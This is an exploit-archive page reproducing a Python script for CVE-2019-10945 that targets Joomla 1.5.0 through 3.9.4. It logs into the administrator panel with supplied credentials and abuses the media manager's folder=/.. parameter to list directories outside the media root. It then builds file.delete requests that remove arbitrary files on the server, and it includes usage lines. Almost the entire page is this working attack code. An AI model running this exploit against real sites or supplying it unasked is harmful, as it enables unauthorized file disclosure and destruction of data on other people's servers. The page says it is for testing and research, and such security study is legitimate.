Advertisement






Joomla Core 1.5.0 3.9.4 Directory Traversal / Authenticated Arbitrary File Deletion

CVE Category Price Severity
CVE-2019-10945 CWE-22 $500 Critical
Author Risk Exploitation Type Date
Unknown High Authenticated 2019-04-23
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019040210

Below is a copy:

Joomla Core 1.5.0 3.9.4 Directory Traversal / Authenticated Arbitrary File Deletion
# Exploit Title: Joomla Core (1.5.0 through 3.9.4) - Directory Traversal && Authenticated Arbitrary File Deletion
# Date: 2019-March-13
# Exploit Author: Haboob Team
# Web Site: haboob.sa
# Email: [email protected]
# Software Link: https://www.joomla.org/
# Versions: Joomla 1.5.0 through Joomla 3.9.4
# CVE : CVE-2019-10945
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945
#
# Usage:
#  List files in the specified directory:
#  python exploit.py --url=http://example.com/administrator --username=<joomla-manager-username> --password=<joomla-manager-password> --dir=<directory name>
#
#  Delete file in specified directory
#  python exploit.py --url=http://example.com/administrator --username=<joomla-manager-username> --password=<joomla-manager-password> --dir=<directory to list>  --rm=<file name>


import re
import tempfile
import pickle
import os
import hashlib
import urllib

try:
    import click
except ImportError:
    print("module 'click' doesn't exist, type: pip install click")
    exit(0)

try:
    import requests
except ImportError:
    print("module 'requests' doesn't exist, type: pip install requests")
    exit(0)
try:
    import lxml.html
except ImportError:
    print("module 'lxml' doesn't exist, type: pip install lxml")
    exit(0)

mediaList = "?option=com_media&view=mediaList&tmpl=component&folder=/.."

print ''' 
# Exploit Title: Joomla Core (1.5.0 through 3.9.4) - Directory Traversal && Authenticated Arbitrary File Deletion
# Web Site: Haboob.sa
# Email: [email protected]
# Versions: Joomla 1.5.0 through Joomla 3.9.4
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945    
 _    _          ____   ____   ____  ____  
| |  | |   /\   |  _ \ / __ \ / __ \|  _ \ 
| |__| |  /  \  | |_) | |  | | |  | | |_) |
|  __  | / /\ \ |  _ <| |  | | |  | |  _ < 
| |  | |/ ____ \| |_) | |__| | |__| | |_) |
|_|  |_/_/    \_\____/ \____/ \____/|____/ 
                                                                       
'''
class URL(click.ParamType):
    name = 'url'
    regex = re.compile(
        r'^(?:http)s?://'  # http:// or https://
        r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|'  # domain...
        r'localhost|'  # localhost...
        r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'  # ...or ip
        r'(?::\d+)?'  # optional port
        r'(?:/?|[/?]\S+)$', re.IGNORECASE)

    def convert(self, value, param, ctx):
        if not isinstance(value, tuple):
            if re.match(self.regex, value) is None:
                self.fail('invalid URL (%s)' % value, param, ctx)
        return value


def getForm(url, query, cookie=''):
    r = requests.get(url, cookies=cookie, timeout=5)
    if r.status_code != 200:
        print("invalid URL: 404 NOT FOUND!!")
        exit(0)
    page = r.text.encode('utf-8')
    html = lxml.html.fromstring(page)
    return html.xpath(query), r.cookies


def login(url, username, password):
    csrf, cookie = getForm(url, '//input/@name')
    postData = {'username': username, 'passwd': password, 'option': 'com_login', 'task': 'login',
                'return': 'aW5kZXgucGhw', csrf[-1]: 1}

    res = requests.post(url, cookies=cookie.get_dict(), data=postData, allow_redirects=False)
    if res.status_code == 200:
        html = lxml.html.fromstring(res.text)
        msg = html.xpath("//div[@class='alert-message']/text()[1]")
        print msg
        exit()
    else:
        get_cookies(res.cookies.get_dict(), url, username, password)


def save_cookies(requests_cookiejar, filename):
    with open(filename, 'wb') as f:
        pickle.dump(requests_cookiejar, f)


def load_cookies(filename):
    with open(filename, 'rb') as f:
        return pickle.load(f)


def cookies_file_name(url, username, password):
    result = hashlib.md5(str(url) + str(username) + str(password))
    _dir = tempfile.gettempdir()
    return _dir + "/" + result.hexdigest() + ".Jcookie"


def get_cookies(req_cookie, url, username, password):
    cookie_file = cookies_file_name(url, username, password)
    if os.path.isfile(cookie_file):
        return load_cookies(cookie_file)
    else:
        save_cookies(req_cookie, cookie_file)
        return req_cookie


def traversal(url, username, password, dir=None):
    cookie = get_cookies('', url, username, password)
    url = url + mediaList + dir
    files, cookie = getForm(url, "//input[@name='rm[]']/@value", cookie)
    for file in files:
        print file
    pass


def removeFile(baseurl, username, password, dir='', file=''):
    cookie = get_cookies('', baseurl, username, password)
    url = baseurl + mediaList + dir
    link, _cookie = getForm(url, "//a[@target='_top']/@href", cookie)
    if link:
        link = urllib.unquote(link[0].encode("utf8"))
        link = link.split('folder=')[0]
        link = link.replace("folder.delete", "file.delete")
        link = baseurl + link + "folder=/.." + dir + "&rm[]=" + file
        msg, cookie = getForm(link, "//div[@class='alert-message']/text()[1]", cookie)
        if len(msg) == 0:
            print "ERROR : File does not exist"
        else:
            print msg
    else:
        print "ERROR:404 NOT FOUND!!"


@click.group(invoke_without_command=True)
@click.option('--url', type=URL(), help="Joomla Administrator URL", required=True)
@click.option('--username', type=str, help="Joomla Manager username", required=True)
@click.option('--password', type=str, help="Joomla Manager password", required=True)
@click.option('--dir', type=str, help="listing directory")
@click.option('--rm', type=str, help="delete file")
@click.pass_context
def cli(ctx, url, username, password, dir, rm):
    url = url+"/"
    cookie_file = cookies_file_name(url, username, password)
    if not os.path.isfile(cookie_file):
        login(url, username, password)
    if dir is not None:
        dir = dir.lstrip('/')
        dir = dir.rstrip('/')
        dir = "/" + dir
        if dir == "/" or dir == "../" or dir == "/.":
            dir = ''
    else:
        dir = ''
    print dir
    if rm is not None:
        removeFile(url, username, password, dir, rm)
    else:
        traversal(url, username, password, dir)


cli()

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum